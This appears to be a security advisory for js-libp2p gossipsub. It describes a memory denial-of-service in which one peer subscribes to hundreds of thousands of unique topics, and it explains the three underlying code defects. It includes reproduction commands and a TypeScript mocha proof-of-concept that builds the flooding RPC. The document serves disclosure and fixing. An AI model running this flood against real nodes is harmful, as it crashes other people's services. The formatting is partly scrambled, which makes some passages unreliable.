js-libp2p: Memory DoS via subscription flood of unique topics
Summary
Three cooperating omissions in@libp2p/gossipsub allow an unauthenticated single peer to exhaust the Node.js heap of any gossipsub node with default options.
defaultDecodeRpcLimits.maxSubscriptions = Infinity(packages/gossipsub/src/message/decodeRpc.ts:11): no decode-level cap on subscription entries per RPC.handleReceivedSubscriptionis unbounded (gossipsub.ts:1009-1021): every unique topic string creates a newMapentry +Setobject inthis.topicswith no per-peer count limit.removePeerleaves empty Sets (gossipsub.ts:782-784): after peer disconnect, empty Sets are never deleted fromthis.topicsthus memory is non-reclaimable within the process lifetime.
A single 4MB LP frame carries 349,525 unique topic SUBSCRIBE entries. Each frame causes ~89MB of heap growth (~22x amplification). A Node.js process with a 1.5GB heap limit crashes after ~17 such frames (~68MB total attacker bandwidth, achievable in ~5 seconds at 100Mbps).
Details
Defect 1: defaultDecodeRpcLimits.maxSubscriptions = Infinity (message/decodeRpc.ts:11)
``typescript
export const defaultDecodeRpcLimits: DecodeRPCLimits = {
maxSubscriptions: Infinity, // <- no decode-level cap
// ...
}
Passed directly to the protobuf decoder at gossipsub.ts:863. A single RPC may decode 349,525 SUBSCRIBE entries within the 4MB LP frame with no error.
Defect 2: handleReceivedSubscription unbounded growth (gossipsub.ts:1009-1021)typescript
let topicSet = this.topics.get(topic)
if (topicSet == null) {
topicSet = new Set()
this.topics.set(topic, topicSet) // new entry per unique topic, no count guard
}
topicSet.add(from.toString())
typescript for (const peers of this.topics.values()) { peers.delete(id) // empty Set is NOT removed from this.topics }this.topics(Map>,gossipsub.ts:141) has no size limit. No per-peer topic count is tracked. No heartbeat evicts unused entries. A comment atgossipsub.ts:960acknowledges the map is "not bounded by topic count", but only for theallowedTopics != nullbranch, the default isnull.removePeerDefect 3:
memory leak (gossipsub.ts:782-784)
bash $ git clone https://github.com/libp2p/js-libp2p.git $ cd js-libp2p $ npm install $ cd packages/gossipsub $ npx aegir build $ node --experimental-vm-modules ../../node_modules/.bin/mocha 'dist/test/poc.js' --timeout 60000After disconnect,this.topicsretains N empty Sets, one per unique attacker topic.stop()(lines 575–602) clears 12 data structures but notthis.topics. Memory is leaked for the process lifetime.removePeerSecondary: the O(topics.size) synchronous scan in
grows asthis.topicsaccumulates from repeated attacks. After 17 rounds, the scan iterates ~6M entries each time any peer disconnects.gossipThreshold = −10Attack path
- Attacker dials victim and opens a gossipsub stream.
- Score 0 >
thus subscriptions are processed immediately. No score check gates subscription handling.handleReceivedRpcAttacker constructs an RPC: 349,525 SUBSCRIBE entries with sequential 6-char topics. Total encoded size: 4.00 MB. Victim's callsrpc.subscriptions.forEach(...)→ 349,525 calls tohandleReceivedSubscription->this.topicsgrows by 349,525 entries -> ~89MB heap consumed -> ~224ms event-loop blocked.9eb27be79Attacker reconnects. No score decay or penalty applies to subscription RPCs. Repeat. After ~17 rounds (68MB attacker bandwidth): Node.js OOM (Out-Of-Memory) crash. PoC
Steps to reproduce (confirmed unpatched at HEAD):
File PoC:typescript
/* eslint-env mocha */import { stop } from '@libp2p/interface' import assert from 'node:assert' import { performance } from 'node:perf_hooks' import { RPC } from '../src/message/rpc.js' import { createComponents, connectPubsubNodes } from './utils/create-pubsub.js' import type { GossipSubAndComponents } from './utils/create-pubsub.js'
// Number of unique topics per attack RPC (for direct injection tests). // Chosen to demonstrate impact without LP-framing; the ENCODE test shows // how many actually fit in one 4 MB frame. const UNIQUE_TOPICS_PER_RPC = 349_000
// Build a protobuf-encoded RPC with N unique SUBSCRIBE entries. // Uses minimal 2-char topic strings ("00".."zz") to maximise packing. // SubOpts(subscribe=true, topic=2chars): 2 + (2+2) = 6 bytes per entry. // Outer RPC field: tag+len ≈ 2 bytes -> ~8 bytes total per subscription. // 4 MB / 8 bytes ≈ 524K subscriptions per frame. function buildSubscriptionFloodRpc (count: number): Uint8Array { const subscriptions = Array.from({ length: count }, (_, i) => ({ subscribe: true, // Sequential 6-char decimal topics: short but still unique topic: i.toString().padStart(6, '0') })) return RPC.encode({ subscriptions, messages: [], control: undefined }) }
// Binary-search the exact number of unique 6-char topics that fit in 4 MB. function maxTopicsIn4MB (): number { const MAX_LP_BYTES = 4 * 1024 * 1024 let lo = 1; let hi = 600_000 while (lo < hi) { const mid = (lo + hi + 1) >> 1 if (buildSubscriptionFloodRpc(mid).byteLength <= MAX_LP_BYTES) { lo = mid } else { hi = mid - 1 } } return lo }
describe('PoC: Memory DoS via subscription flood of unique topics', function () { this.timeout(60_000)
let victim: GossipSubAndComponents let attacker: GossipSubAndComponents
beforeEach(async () => { ;[victim, attacker] = await Promise.all([ createComponents({ init: { allowPublishToZeroTopicPeers: true } }), createComponents({ init: { allowPublishToZeroTopicPeers: true } }) ]) await connectPubsubNodes(victim, attacker) })
afterEach(async () => { await stop( victim.pubsub, attacker.pubsub, ...Object.values(victim.components), ...Object.values(attacker.components) ) })
it('FLOOD: unique topic subscriptions accumulate unboundedly in this.topics', () => { const victimPubsub = victim.pubsub as any const attackerIdStr = attacker.components.peerId.toString()
const topicsBefore = victimPubsub.topics.size as number const heapBefore = process.memoryUsage().heapUsed
// Simulate one round of subscription flood: inject UNIQUE_TOPICS_PER_RPC
// unique topics directly via handleReceivedSubscription (the exact function
// called synchronously from handleReceivedRpc for each decoded SubOpts entry).
const t0 = performance.now()
for (let i = 0; i < UNIQUE_TOPICS_PER_RPC; i++) {
victimPubsub.handleReceivedSubscription(
{ toString: () => attackerIdStr } as any,
poc-sub-flood-${i.toString().padStart(6, '0')},
true
)
}
const elapsed = performance.now() - t0
const topicsAfter = victimPubsub.topics.size as number const heapAfterBytes = process.memoryUsage().heapUsed const heapGrowthMB = (heapAfterBytes - heapBefore) / (1024 * 1024) const newTopics = topicsAfter - topicsBefore
console.log(\n[PoC] Unique topics injected: ${UNIQUE_TOPICS_PER_RPC.toLocaleString()})
console.log([PoC] this.topics.size: ${topicsBefore} -> ${topicsAfter} (grew by ${newTopics.toLocaleString()}))
console.log([PoC] Heap growth (